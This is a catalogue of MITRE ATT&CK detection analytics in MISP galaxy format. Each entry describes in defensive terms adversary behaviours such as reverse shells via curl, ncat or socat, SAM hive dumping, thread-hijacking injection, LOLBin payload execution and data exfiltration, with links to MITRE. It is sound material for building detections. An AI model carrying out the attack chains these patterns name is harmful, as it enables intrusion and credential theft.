Identifies self-modifying executables that exhibit changes in binary hash, entropy, or memory sections during or between executions—often tied to dynamic unpacking or decryption behaviors.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0919 - AN0919"*

Table 6613. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0324#AN0919

Analytic 1099 - AN1099

Monitor for runtime manipulation by observing changes in application bundles, unexpected signing modifications, and runtime API calls that inject or alter how data is displayed. Detect alterations in CFNetwork or CoreFoundation frameworks responsible for rendering data.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1099 - AN1099"*

Table 6614. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0391#AN1099

Analytic 1990 - AN1990

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1990 - AN1990"*

Table 6615. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0858#AN1990

Analytic 0991 - AN0991

Detects VMs sending outbound traffic through non-standard services or to unknown destinations.

Exfiltration over reverse shells tunneled via VMkernel or custom payloads routed via hostd/vpxa.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0991 - AN0991"*

Table 6616. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0348#AN0991

Analytic 2022 - AN2022

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2022 - AN2022"*

Table 6617. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0890#AN2022

Analytic 0222 - AN0222

Adversary exploits containerized app via ingress or service. Chain: (1) suspicious request in ingress/app logs → (2) container process spawns a shell/exec/sidecar (kubectl exec/docker exec) → (3) egress to Internet or metadata service (169.254.169.254).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0222 - AN0222"*

Table 6618. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0080#AN0222

Analytic 0223 - AN0223

Adversary targets cloud-hosted public endpoints. Chain: (1) ALB/ELB/Cloud LB logs show exploit-like inputs or error spikes → (2) workload spawns shell or reaches metadata API → (3) egress to new external hosts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0223 - AN0223"*

Table 6619. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0080#AN0223

Analytic 0322 - AN0322

Phishing attempts via iCloud Mail, Gmail, or social media apps accessed on macOS systems. Defender view includes Mail.app or Safari downloads of files followed by osascript, Terminal, or abnormal child process execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0322 - AN0322"*

Table 6620. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0115#AN0322

Analytic 2032 - AN2032

Observation of scripted network requests (e.g., using osascript, curl, or python) that include mismatched or spoofed browser User-Agent strings compared to the typical macOS Safari or Chrome baseline, especially when triggered by non-interactive launch agents, login hooks, or background daemons.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2032 - AN2032"*

Table 6621. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0898#AN2032

Analytic 2023 - AN2023

Monitor for queried domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Monitor for logged domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2023 - AN2023"*

Table 6622. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0891#AN2023

Analytic 0232 - AN0232

Adversary modifies ESXi host login banner or MOTD file (/etc/motd), either through SSH or host console access. May involve configuration file overwrite or API calls from compromised vSphere clients.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0232 - AN0232"*

Table 6623. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0082#AN0232

Analytic 0224 - AN0224

Adversary exploits exposed OpenSLP on ESXi or vCenter public endpoints. Chain: inbound request pattern to mgmt service → hostd/vpxd error/crash/restart → unexpected process behavior or datastore access → outbound callback.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0224 - AN0224"*

Table 6624. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0080#AN0224

Analytic 2024 - AN2024

Monitor logged domain name system (DNS) data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. Monitor queried domain name system (DNS) registry data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2024 - AN2024"*

Table 6625. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0892#AN2024
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 0422 - AN0422

Forged SAML tokens may be leveraged to access O365 apps such as Outlook or SharePoint. Defenders should monitor for token replay across multiple clients or access attempts to privileged mailboxes without prior interactive login.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0422 - AN0422"*

Table 6626. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0148#AN0422

Analytic 0242 - AN0242

Defender detects execution of `mdfind`, `launchctl`, or GUI-based enumeration (e.g., `/Applications/Time Machine.app`) along with command-line usage of `find`, `grep`, or `system_profiler` to identify installed backup tools like Time Machine, Carbon Copy Cloner, or Backblaze. Often triggered from Terminal sessions or within post-exploitation scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0242 - AN0242"*

Table 6627. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0088#AN0242

Analytic 0522 - AN0522

Detects clearing of unified logs, deletion of plist files tied to persistence, and manipulation of Terminal history after initial execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0522 - AN0522"*

Table 6628. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0184#AN0522

Analytic 0225 - AN0225

Adversary exploits public admin services on routers/firewalls/switches. Chain: anomalous HTTP/SNMP/SmartInstall inputs → device syslog errors/restarts → config changes/CLI spawn →

egress to attacker C2.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0225 - AN0225"*

Table 6629. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0080#AN0225

Analytic 2025 - AN2025

If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003) , [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) , or [Malicious Link](https://attack.mitre.org/techniques/T1204/001) .

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2025 - AN2025"*

Table 6630. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0893#AN2025

Analytic 0252 - AN0252

Installation of configuration profiles or plist entries associated with malicious or unauthorized browser extensions

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0252 - AN0252"*

Table 6631. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0092#AN0252

Analytic 2026 - AN2026

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System

Exploitation](https://attack.mitre.org/techniques/T1499/004)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2026 - AN2026"*

Table 6632. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0894#AN2026

Analytic 0226 - AN0226

Execution of trusted, Microsoft-signed binaries such as `rundll32.exe`, `msiexec.exe`, or `regsvr32.exe` used to execute externally hosted, unsigned, or suspicious payloads through command-line parameters or network retrieval.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0226 - AN0226"*

Table 6633. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0081#AN0226

Analytic 0262 - AN0262

Detects modification of ESXi cron jobs, local.sh scripts, or scheduled API calls to persist custom binaries or shell scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0262 - AN0262"*

Table 6634. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0094#AN0262

Analytic 0622 - AN0622

Abuse of mmc.exe to execute non-Microsoft or user-staged .msc files and malicious COM CLSIDs. Behavioral chain: (1) suspicious mmc.exe invocation with /a or -Embedding and non-standard .msc path → (2) COM activation of non-baseline CLSIDs by mmc.exe → (3) mmc.exe loads non-baseline DLLs (user-writable/UNC/unsigned) → (4) optional network/DNS activity from mmc.exe.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0622 - AN0622"*

Table 6635. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0222#AN0622

Analytic 0227 - AN0227

Execution of trusted system binaries (e.g., `split`, `tee`, `bash`, `env`) used in uncommon sequences or chained behaviors to execute malicious payloads or perform actions inconsistent with normal system or script behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0227 - AN0227"*

Table 6636. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0081#AN0227

Analytic 0272 - AN0272

Scripted or binary usage of X11 utilities (e.g., xdotool, wmctrl) or direct /proc/*/window mappings to discover open GUI windows and active desktops.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0272 - AN0272"*

Table 6637. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0097#AN0272

Analytic 0722 - AN0722

SaaS platforms may show forged credentials as unusual API keys, tokens, or session cookies being used without corresponding authentication. Correlated patterns include simultaneous valid sessions from multiple geographies, unusual API calls with new tokens, or bypass of expected MFA enforcement.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0722 - AN0722"*

Table 6638. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0260#AN0722

Analytic 2027 - AN2027

Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2

software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Monitor for queried domain name system (DNS) registry data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Monitor for logged domain name system (DNS) data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2027 - AN2027"*

Table 6639. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0895#AN2027
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 0822 - AN0822

Detects hijacking of an existing thread (OpenThread) through a behavioral chain involving thread suspension (SuspendThread), memory modification (VirtualAllocEx + WriteProcessMemory), context manipulation (SetThreadContext), and thread resumption—all within another live process's address space (ResumeThread).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0822 - AN0822"*

Table 6640. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0295#AN0822

Analytic 0228 - AN0228

Use of system binaries such as `osascript`, `bash`, or `curl` to download or execute unsigned code or files in conjunction with application proxying.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0228 - AN0228"*

Table 6641. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0081#AN0228

Analytic 0282 - AN0282

Monitors for abnormal process behavior and API calls like SetWindowsHookEx, GetAsyncKeyState, or device input polling commonly used for keystroke logging.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0282 - AN0282"*

Table 6642. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0102#AN0282

Analytic 2028 - AN2028

Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2028 - AN2028"*

Table 6643. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0896#AN2028
https://threatconnect.com/blog/infrastructure-research-hunting/

Analytic 0229 - AN0229

Adversary modifies internal UI messages (e.g., login banners, desktop wallpapers) or hosted intranet web pages by creating or altering content files using scripts or unauthorized access. Often preceded by privilege escalation or web shell deployment.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0229 - AN0229"*

Table 6644. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0082#AN0229

Analytic 0922 - AN0922

Unusual process (e.g., `rundll32`, `mshta`, `wscript`, or custom payloads) initiates network connection to external IPs/domains that proxy C2 traffic, often over uncommon ports or high entropy HTTP/S connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0922 - AN0922"*

Table 6645. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0325#AN0922

Analytic 2029 - AN2029

Process execution without GUI context (e.g., powershell.exe, wscript.exe) generates HTTP traffic with a spoofed User-Agent mimicking a legitimate browser. No corresponding UI application (e.g., msedge.exe) is active or in parent lineage. The User-Agent deviates from known enterprise baselines or contains spoofed platform indicators. User-Agent strings can be gathered with API calls such as `ShellExecuteW` to open the default browser on a socket to receive an HTTP reply, or by hard coding the User-Agent string for a specific browser.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2029 - AN2029"*

Table 6646. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0898#AN2029

Analytic 0292 - AN0292

Use of hash-cracking tools (e.g., John the Ripper, Hashcat) after credential dumping, combined with high CPU usage or GPU invocation via unsigned binaries accessing password hash files

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0292 - AN0292"*

Table 6647. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0105#AN0292

Analytic 0323 - AN0323

Abuse of safe mode via BCD modification, boot configuration utilities (bcdedit.exe, bootcfg.exe), and registry persistence under SafeBoot keys. Defender view: suspicious boot configuration changes correlated with registry edits that enable adversary persistence or disable defenses.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0323 - AN0323"*

Table 6648. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0116#AN0323

Analytic 0233 - AN0233

Execution of container orchestration commands (e.g., `docker exec`, `kubectl exec`) or API-driven interactions with running containers from unauthorized hosts or non-standard user contexts. Defender sees programmatic or interactive command execution within containers outside expected CI/CD tools or automation frameworks, often followed by file writes, privilege escalation, or lateral discovery.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0233 - AN0233"*

Table 6649. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0083#AN0233

Analytic 0332 - AN0332

Detects access to media files followed by execution of scripts (bash, Python, etc.) referencing those same files, or outbound traffic triggered shortly after file read. Correlates unusual use of tools like `steghide`, `exiftool`, or image libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0332 - AN0332"*

Table 6650. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0119#AN0332

Analytic 0342 - AN0342

Detects removable drive insertion followed by unusual file access, compression, or staging activity by unauthorized users or unexpected processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0342 - AN0342"*

Table 6651. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0123#AN0342

Analytic 0432 - AN0432

Process/script execution of systemsetup -gettimezone, date, ioreg, or API usage

(timeIntervalSinceNow, gettimeofday) followed by time-based scheduling (launchd plist modification) or sleep-based execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0432 - AN0432"*

Table 6652. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0151#AN0432

Analytic 0324 - AN0324

Creation or modification of Windows services or scheduled tasks with names or descriptions mimicking legitimate entries, followed by anomalous execution of untrusted binaries or LOLBAS.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0324 - AN0324"*

Table 6653. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0117#AN0324

Analytic 0234 - AN0234

Defenders can detect suspicious cloud instance deletions by correlating events across authentication, instance lifecycle, and account activity. From a defender's perspective, behaviors of interest include instances deleted shortly after creation, deletions initiated by new or rarely used accounts, deletions following snapshot creation, and deletions originating from anomalous geolocations or access keys. These may indicate adversarial attempts to destroy forensic evidence or evade detection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0234 - AN0234"*

Table 6654. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0084#AN0234

Analytic 0243 - AN0243

Monitors suspicious usage of Windows API calls like SetWindowsHookEx, GetKeyState, or polling functions within non-UI service processes, combined with Registry or driver modifications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0243 - AN0243"*

Table 6655. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0089#AN0243

Analytic 0423 - AN0423

Detects data access or staging events followed by outbound data flows using unencrypted protocols (e.g., FTP, HTTP) initiated by unexpected processes or to rare destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0423 - AN0423"*

Table 6656. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0149#AN0423

Analytic 0253 - AN0253

Manual or script-based installation of extension-like modules into browser config directories or IDE plugin paths, followed by suspicious network activity

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0253 - AN0253"*

Table 6657. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0092#AN0253

Analytic 0325 - AN0325

Creation or modification of `systemd` service units or cron jobs using deceptive naming and untrusted command paths, often followed by lateral network activity or privilege escalation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0325 - AN0325"*

Table 6658. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0117#AN0325

Analytic 0532 - AN0532

Repeated or automated access to user document directories or clipboard using shell scripts or utilities like xclip/pbpaste. Detectable via auditd syscall logs or osquery file events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0532 - AN0532"*

Table 6659. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0186#AN0532

Analytic 0235 - AN0235

An adversary running with SYSTEM-level privileges executes commands or accesses registry keys to dump the SAM hive or directly reads sensitive local files from the config directory. This behavior often involves sequential access to HKLM\SAM, HKLM\SYSTEM, and creation of .save or .dmp files, enabling offline hash extraction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0235 - AN0235"*

Table 6660. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0085#AN0235

Analytic 0523 - AN0523

Monitors tampering with audit logs, volumes, or mounted storage often used for side-channel logging (e.g., /var/log inside containers) post-compromise.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0523 - AN0523"*

Table 6661. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0184#AN0523

Analytic 0352 - AN0352

Abuse of cloud metadata APIs or CLI to push SSH public keys to authorized_keys of virtual machines.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0352 - AN0352"*

Table 6662. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0126#AN0352

Analytic 0236 - AN0236

Monitor for creation of WMI EventFilter, EventConsumer, and FilterToConsumerBinding objects through WMI or MOF file execution. Detect command-line execution of `mofcomp.exe`, usage of `Register-WmiEvent` via PowerShell, and anomalous child processes of `WmiPrvSE.exe` that indicate triggered execution. Look for lateral anomalies in process lineage and WMI logging channels.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0236 - AN0236"*

Table 6663. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0086#AN0236

Analytic 0263 - AN0263

Adversary uses a tool like Ruler or MFCMapi to create a malicious Outlook rule that triggers execution upon receipt of a crafted email. On email delivery, Outlook executes the rule, resulting in code execution (e.g., launching mshta.exe or PowerShell). Outlook spawns a non-standard child process, often unsanctioned, without user interaction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0263 - AN0263"*

Table 6664. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0095#AN0263

Analytic 0632 - AN0632

Detects binaries disguised as media or document types through extension-only masquerading or by modifying the file signature. Observes execution of files whose extension is not typically executable (.jpg, .txt), yet have valid Mach-O headers or execute via Terminal or launch services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0632 - AN0632"*

Table 6665. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0226#AN0632

Analytic 0623 - AN0623

Detects SCCM, Intune, or remote push execution spawning scripts or binaries from SYSTEM context or unusual consoles (e.g., cmtrace.exe launching PowerShell or cmd.exe).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0623 - AN0623"*

Table 6666. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0223#AN0623

Analytic 0362 - AN0362

Modification of plist files to set apple.awt.UIElement or similar flags hiding app icons and windows, and dscl/command-line activity that suppresses visibility. Defender view: correlation of plist modifications with unexpected hidden user applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0362 - AN0362"*

Table 6667. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0128#AN0362

Analytic 0326 - AN0326

Creation of LaunchAgents or LaunchDaemons with names resembling known system services but executing non-Apple signed code or scripts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0326 - AN0326"*

Table 6668. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0117#AN0326

Analytic 0732 - AN0732

Anomalous or bulk download activity from private or restricted repositories by non-developer or privileged accounts, often preceded by unusual login behavior (e.g., unfamiliar geo, OAuth token use, elevated API rate).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0732 - AN0732"*

Table 6669. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0263#AN0732

Analytic 0372 - AN0372

Adversary-created named mutex using system APIs (e.g., CreateMutexW) followed by conditional process termination or alternate code path indicating malware avoiding reinfection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0372 - AN0372"*

Table 6670. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0132#AN0372

Analytic 0237 - AN0237

Detection of processes that load or decode encrypted/encoded files in memory and subsequently execute or inject them, indicating payload unpacking or memory-resident malware.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0237 - AN0237"*

Table 6671. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0087#AN0237

Analytic 0723 - AN0723

Forged web credentials in Office Suite contexts may appear as abnormal authentication headers in Outlook or Teams traffic, or unexplained OAuth grants in M365/Azure logs. Defenders should correlate token usage events with missing authentication flows and mismatched device/user context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0723 - AN0723"*

Table 6672. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0260#AN0723

Analytic 0273 - AN0273

Processes that utilize AppleScript, `CGWindowListCopyWindowInfo`, or `NSRunningApplication` APIs to list active application windows and foreground processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0273 - AN0273"*

Table 6673. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0097#AN0273

Analytic 0327 - AN0327

Correlates inbound network access to remote service ports (e.g., SMB/RPC 445/135, RDP 3389, WinRM 5985/5986) with near-time instability in the target service (crash, abnormal restart), suspicious child process creation under the service, and post-access lateral-movement behaviors. The chain indicates likely exploitation rather than normal administration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0327 - AN0327"*

Table 6674. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0118#AN0327

Analytic 0328 - AN0328

Links inbound network access to SSHD/SMB/NFS/Databases or custom daemons with subsequent daemon crash/restart, core dump, or spawning of shells/reverse shells from the service context, indicating remote exploitation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0328 - AN0328"*

Table 6675. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0118#AN0328

Analytic 0382 - AN0382

Detects hosts transmitting large volumes of SMTP, IMAP, or POP3 traffic to external IPs or relays that aren't associated with the enterprise mail infrastructure.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0382 - AN0382"*

Table 6676. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0135#AN0382

Analytic 0283 - AN0283

Detects use of tools/scripts accessing input devices like /dev/input/* or evdev via suspicious processes lacking GUI context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0283 - AN0283"*

Table 6677. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0102#AN0283

Analytic 0832 - AN0832

Detects execution of archiving utilities (tar, gzip, bzip2, xz, zip, openssl) followed by suspicious archive file creation. Correlates archive creation in temporary or staging directories with execution of commands involving compression or encryption options.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0832 - AN0832"*

Table 6678. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0298#AN0832

Analytic 0823 - AN0823

Detects suspicious DNS/ARP poisoning attempts, unauthorized modifications to registry/network configuration, or abnormal TLS downgrade activity. Correlates changes in system configuration with subsequent unusual network flows or authentication events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0823 - AN0823"*

Table 6679. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0296#AN0823

Analytic 0238 - AN0238

Detection of suspicious use of shell utilities or scripts that decode or decrypt a payload and execute it without writing to disk.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0238 - AN0238"*

Table 6680. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0087#AN0238

Analytic 0239 - AN0239

Detection of encoded payloads being decoded and executed in-memory using scripting tools or third-party decoders.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0239 - AN0239"*

Table 6681. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0087#AN0239

Analytic 0329 - AN0329

Detects exploitation targeting ESXi/vCenter by correlating attempts to reach known exploitable endpoints (OpenSLP 427, CIM 5989, Hostd/Vpxa HTTPS 443, ESXi SOAP) with vmkernel/hostd crashes, unexpected hostd/vpxa restarts, or new reverse/outbound connections from ESXi host/vCenter to internal assets.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0329 - AN0329"*

Table 6682. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0118#AN0329

Analytic 0293 - AN0293

Execution of hash cracking binaries or scripts (e.g., john, hashcat) following access to shadow file or dumped hashes

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0293 - AN0293"*

Table 6683. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0105#AN0293

Analytic 0923 - AN0923

`curl`, `wget`, `ncat`, `socat`, or custom binaries initiate outbound traffic to Internet-based proxies (e.g., via VPS or CDN). Behavior may include reverse shell constructs or persistent outbound beacons.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0923 - AN0923"*

Table 6684. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0325#AN0923

Analytic 0932 - AN0932

Execution of CMSTP.exe with arguments pointing to suspicious or remote INF/SCT/DLL payloads, optionally followed by outbound network connections to untrusted IPs, process injection via COM interfaces (CMSTPLUA, CMLUAUTIL), registry modifications registering malicious profiles, or creation of suspicious INF/DLL/SCT files prior to execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0932 - AN0932"*

Table 6685. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0328#AN0932

Analytic 0392 - AN0392

Detects adversary behavior deleting artifacts (e.g., dropped payloads, evidence files) using native or external utilities (e.g., del, erase, SDelete). Detects deletion events correlated with unusual process lineage or timing post-execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0392 - AN0392"*

Table 6686. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0140#AN0392

Analytic 0244 - AN0244

Detects non-system processes accessing /dev/input/* or issuing ptrace/evdev syscalls used for reading keystroke buffers directly.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0244 - AN0244"*

Table 6687. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0089#AN0244

Analytic 0424 - AN0424

Detects file access or compression utilities followed by outbound connections using curl, wget, ftp, or custom binaries communicating over unencrypted protocols.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0424 - AN0424"*

Table 6688. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0149#AN0424
